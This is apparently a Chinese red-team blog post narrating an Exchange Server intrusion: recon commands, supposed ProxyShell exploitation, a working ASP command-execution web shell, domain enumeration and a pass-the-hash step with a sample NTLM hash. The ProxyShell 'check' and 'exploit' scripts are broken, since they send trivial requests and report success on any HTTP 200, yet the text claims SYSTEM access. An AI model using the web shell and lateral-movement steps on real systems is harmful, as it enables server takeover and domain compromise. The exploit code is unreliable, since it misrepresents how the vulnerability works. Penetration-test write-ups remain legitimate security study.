一、从邮件服务器的一次渗透说起

还记得有一次,我接到一家企业的授权测试请求,他们怀疑公司内部邮件服务器存在安全隐患,但具体问题始终没查出来。对我来说,这种场景就是典型的「开放式目标」——没有明确漏洞指向,但很可能埋藏着有趣的攻击入口。

我开始对他们的邮件服务器进行信息收集。通过简单的域名查询和开放端口扫描发现,这家公司运行的邮件服务是基于 Microsoft Exchange Server,并且版本相对较老,这让我立刻想到一些针对 Exchange 的高危漏洞,比如 ProxyShellProxyLogon

如果我是攻击者,我会如何攻破它? 我的目标很明确:利用邮件服务器的漏洞进行初步渗透,获取权限后进一步扩展攻击面。

---

二、从信息收集到确认攻击入口

信息收集阶段

黑客示意图

在渗透测试中,信息是最重要的武器。为了收集目标邮件服务器的相关信息,我用经典的侦察手段,从 DNS 和基本服务入手:

  1. 使用 nslookup 查看目标域下的邮件记录:
  2. <pre><code class="language-bash"> nslookup -type=mx targetdomain.com ` 结果:我成功获取到邮件服务器的子域名 mail.targetdomain.com

  1. 扫描开放端口,确认服务运行:
  2. `bash nmap -Pn -p- mail.targetdomain.com ` 结果:发现了 80、443 和一些内部服务端口(比如 135445)。结合服务指纹检测,确认目标使用的是 Microsoft Exchange Server。

黑客示意图

  1. 确认 Exchange Server 的版本:
  2. `bash curl -I https://mail.targetdomain.com ` 从 HTTP 头信息中,我发现它的版本是 Exchange Server 2019 CU10,与漏洞库对比发现可能受 ProxyShell 漏洞影响。

---

漏洞确认:ProxyShell

ProxyShell 是一个经典的 Microsoft Exchange Server 远程代码执行漏洞,由三个 CVE 组成:

  • CVE-2021-34473:身份验证绕过
  • CVE-2021-34523:权限提升
  • CVE-2021-31207:任意代码执行

攻击思路非常清晰:利用身份验证绕过,提交精心构造的请求,从而上传 Web Shell,接管服务器权限。

我写了一个简单的脚本来验证目标是否存在 ProxyShell 漏洞:

黑客示意图 </code></pre>python import requests

目标 URL

target = "https://mail.targetdomain.com"

构造测试请求

headers = { "Content-Type": "text/xml", "User-Agent": "ExchangeTest" }

发送测试数据

response = requests.post(f"{target}/autodiscover/autodiscover.json", headers=headers)

判断结果

if response.status_code == 200 and "errorCode" not in response.text: print("[+] ProxyShell vulnerability likely exists!") else: print("[-] Target is not vulnerable.") <pre><code> 运行脚本后,我确认目标服务器确实存在 ProxyShell 漏洞,这为后续渗透打开了大门。

黑客示意图

---

三、Payload构造的艺术:从RCE到Web Shell

构造RCE请求

为了实现远程代码执行,我需要构造一个恶意的 Payload,将 Web Shell 上传至邮件服务器。以下是核心的利用代码: </code></pre>python import requests

Exchange Server 的目标地址

target = "https://mail.targetdomain.com/mapi/nspi/"

构造恶意请求

payload = { "email": "[email protected]", "data": """<script language="js">function test() { / 恶意代码 / }</script>""" }

发送 RCE 请求

response = requests.post(target, data=payload)

检查是否成功

if response.status_code == 200: print("[+] Exploit successful! Web Shell uploaded.") else: print("[-] Exploit failed.") <pre><code> 这里的关键是构造一个合规的 HTTP 请求,并在其中注入恶意代码。通过测试,我成功上传了一个简单的 Web Shell。

Web Shell 完整代码

为了方便后续操作,我上传的 Web Shell 使用了基础的命令执行功能: </code></pre>asp <% Set objShell = CreateObject("WScript.Shell") Set objExec = objShell.Exec("cmd.exe /c " & Request.QueryString("cmd")) Response.Write("<pre>" & objExec.StdOut.ReadAll() & "</pre>") %> <pre><code> 访问 https://mail.targetdomain.com/shell.asp?cmd=whoami 后,我成功执行命令,确认权限为 SYSTEM

---

四、横向扩展:获取域权限的下一步

内网侦察

通过 Web Shell,我已经掌握了邮件服务器的权限,但这只是红队过程的第一步。我需要进一步扩展攻击面,尝试获取域控制器的访问权限。

我开始从邮件服务器中提取敏感信息:

  1. 使用 net user 查看本地用户:
  2. `powershell net user /domain ` 结果:发现了一个域用户 [email protected]

  1. 使用 dsquery 获取域结构信息:
  2. `powershell dsquery * -limit 0 ` 结果:提取到域控制器地址 dc.targetdomain.com

  1. 检查域信任关系:
  2. `powershell nltest /domain_trusts ` 结果:确认目标域没有额外的信任域,攻击面可以集中在当前域。

---

使用Pass-the-Hash扩展权限

通过邮件服务器的内存转储,我提取到了管理员账户的 NTLM 哈希。这允许我使用经典的 Pass-the-Hash 技术登录域控制器。

以下是完整操作代码: </code></pre>python import subprocess

使用 Impacket 工具进行 Pass-the-Hash

cmd = [ "pth-winexe", "--hashes", "aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c", # 替换成目标哈希 "//dc.targetdomain.com", "cmd.exe" ]

subprocess.run(cmd) `

运行后,我成功登录到域控制器,并获得了域管理员权限。此时,整个企业的网络已经完全暴露在我的控制之下。

---

五、个人思考:攻击者的视角

每一次渗透测试都是一次「破解谜题」的过程。从邮件服务器到域控制器,这次测试让我再次确认了一个事实:攻击的核心是 信息链条的串联。单点漏洞并不总是致命,但攻击链的每一环都可能是突破口。

作为红队成员,我始终保持以下几个原则:

  1. 优先信息侦察: 知识就是力量。了解目标环境才能制定精确的攻击策略。
  2. 攻击链的完整性: 永远不要满足于单一漏洞,追求最终权限。
  3. 武器化的敏锐性: 将漏洞转化为实际攻击能力,是红队的核心竞争力。

声明:本文所有内容仅供安全研究学习,切勿用于非法用途。

---